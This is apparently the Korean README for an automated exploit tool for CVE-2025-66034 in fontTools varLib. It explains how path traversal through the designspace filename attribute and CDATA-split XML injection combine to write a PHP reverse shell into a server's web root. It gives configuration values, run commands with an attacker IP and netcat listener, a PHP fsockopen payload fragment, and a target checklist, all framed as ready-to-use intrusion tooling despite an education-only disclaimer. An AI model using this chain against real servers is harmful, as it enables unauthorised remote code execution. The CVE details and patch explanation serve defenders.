
fontTools varLib의 경로 탐색(path traversal)과 XML 주입(XML injection)을 연쇄적으로 활용하여 악성 .designspace 파일 업로드를 통해 인증되지 않은 원격 코드 실행을 달성하는 CVE-2025-66034 자동화 익스플로잇.
fontTools varLib — 임의 파일 쓰기 + XML 인젝션 → 원격 코드 실행
CVE-2025-66034은 fontTools.varLib 가변 글꼴 생성 파이프라인의 취약점입니다. 웹 애플리케이션이 이 파이프라인을 노출하고 사용자가 제공한 .designspace 파일을 허용하면, 두 가지 약점이 연쇄적으로 작용하여 인증 없는 원격 코드 실행을 달성할 수 있습니다.
font_varlib.py는 글꼴 생성, 페이로드 제작, 업로드, 리버스 셸 전달에 이르는 전체 익스플로잇 체인을 자동화합니다.
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python: 3.9+
의존성:
pip install fonttools requests
시스템:
nc (netcat) — 자동 리스너 모드에 필요 (--no-listen 사용 시 건너뜀)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
실행 전에 font_varlib.py를 열고 파일 상단의 구성 블록을 대상 환경에 맞게 수정하세요. 모든 값에는 해당 값이 무엇이고 올바른 값을 찾는 방법을 설명하는 인라인 주석이 있습니다.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
팁: 실행 전에 Burp Suite에서 정상 업로드 요청을 가로채
UPLOAD_ENDPOINT와 정확한 multipart 필드 이름을 확인하세요. 필드 이름이 일치하지 않으면 조용히 실패합니다 — 서버는 HTTP 200을 반환하지만 셸이 작성되지 않습니다.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
fontTools.FontBuilder를 사용하여 최소한이지만 구조적으로 유효한 두 개의 .ttf 소스 파일이 프로그래밍 방식으로 생성됩니다. varLib는 가변 글꼴을 처리하려면 최소 두 개의 축 마스터가 필요합니다 — 이 파일들은 디스크에 실제 글꼴 파일 없이도 해당 요구 사항을 충족합니다.
두 가지 공격 프리미티브를 내장한 악성 .designspace XML 파일이 구성됩니다:
프리미티브 1 — CDATA 분할을 통한 XML 인젝션:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
]]]]><![CDATA[> 시퀀스는 현재 CDATA 블록을 종료하고 즉시 새 블록을 엽니다. XML 파서는 이를 유효한 마크업으로 처리하지만, varLib는 콘텐츠를 그대로 출력 파일에 직렬화합니다 — 원시 PHP가 글꼴 바이너리에 내장됩니다.
프리미티브 2 — filename 속성을 통한 경로 탐색:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib는 출력 경로를 다음과 같이 구성합니다:
output_path = os.path.join(output_dir, filename)
filename이 절대 경로인 경우 Python의 os.path.join()은 output_dir을 완전히 무시합니다. 영향을 받는 버전에서는 어떠한 검증도 적용되지 않습니다.
.designspace와 두 .ttf 파일은 Burp에서 확인된 필드 이름을 사용하여 대상의 글꼴 생성 엔드포인트로 multipart POST로 전송됩니다.
작성된 .php 파일에 대한 HTTP GET 요청은 리버스 셸을 실행하며, fsockopen + proc_open을 통해 공격자의 nc 리스너로 역접속합니다 — 대상에 curl, wget, Python이 필요 없습니다.
fontTools/varLib/__init__.py (영향을 받는 버전):
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
4.60.2 패치 — output_path를 구성하기 전에 filename에 os.path.basename()을 강제 적용하여 모든 경로 탐색 시퀀스를 제거합니다.
실행 전에 다음 사항을 모두 확인하세요:
[ ] 대상의 fonttools 버전이 >= 4.33.0 및 < 4.60.2인지
[ ] 대상이 .designspace + .ttf 파일 업로드를 허용하는지
[ ] 백엔드가 업로드된 .designspace에 대해 fontTools.varLib.main()을 호출하는지
[ ] 업로드 폼 필드 이름을 Burp로 확인했는지 (designspace + masters)
[ ] WEBROOT가 외부에서 웹 접근 가능한지
[ ] WEBROOT가 웹 프로세스(www-data 또는 이에 상당)에 의해 쓰기 가능한지
[ ] SHELL_HOST(--shell)가 내 컴퓨터에서 접근 가능한지
[ ] 대상 호스트 이름이 /etc/hosts에 등록되어 있는지
| 환경 | fonttools 버전 | 결과 |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ 확인됨 |
이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다.
소유하지 않았거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에는 사용하지 마십시오. 저자는 이 소프트웨어의 오용 또는 이로 인해 발생하는 어떤 손해에 대해서도 책임을 지지 않습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| 패키지 | fonttools (pip) |
| 영향 범위 | >= 4.33.0, < 4.60.2 |
| 수정 버전 | 4.60.2 |
| 심각도 | 보통 (CVSS 6.3) |
| 공격 벡터 | 로컬 (대상에 파일 업로드 필요) |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 필요 (업로드 트리거) |
| # | 프리미티브 | CWE | 근본 원인 |
|---|
| 1 | 경로 탐색 | CWE-22 | .designspace의 filename 속성이 검증 없이 os.path.join()에 직접 전달됨 — 절대 경로는 의도된 출력 디렉토리를 완전히 무시함 |
| 2 | XML 인젝션 | CWE-91 | <labelname> CDATA 섹션은 분할 시퀀스(]]]]><![CDATA[>)를 통해 XML 파서를 우회하여 원시 PHP를 출력 파일에 은밀히 주입할 수 있게 함 |
| 인자 | 필수 | 기본값 | 설명 |
|---|
--ip | ✓ | — | 공격자 리스너 IP |
--port | ✓ | — | 공격자 리스너 포트 |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | 업로드 엔드포인트 (POST) | |
--webroot | WEBROOT | 서버 측 파일시스템 쓰기 경로 (웹에서 접근 가능해야 함) | |
--shell | SHELL_HOST | 작성된 셸을 트리거하는 데 사용되는 기본 URL | |
--no-listen | false | 자동 nc 리스너 건너뛰기 — 트리거만 수행 |
| 리소스 | 링크 |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| fontTools 보안 권고 | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| 패치 커밋 — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| fontTools 프로젝트 | https://github.com/fonttools/fonttools |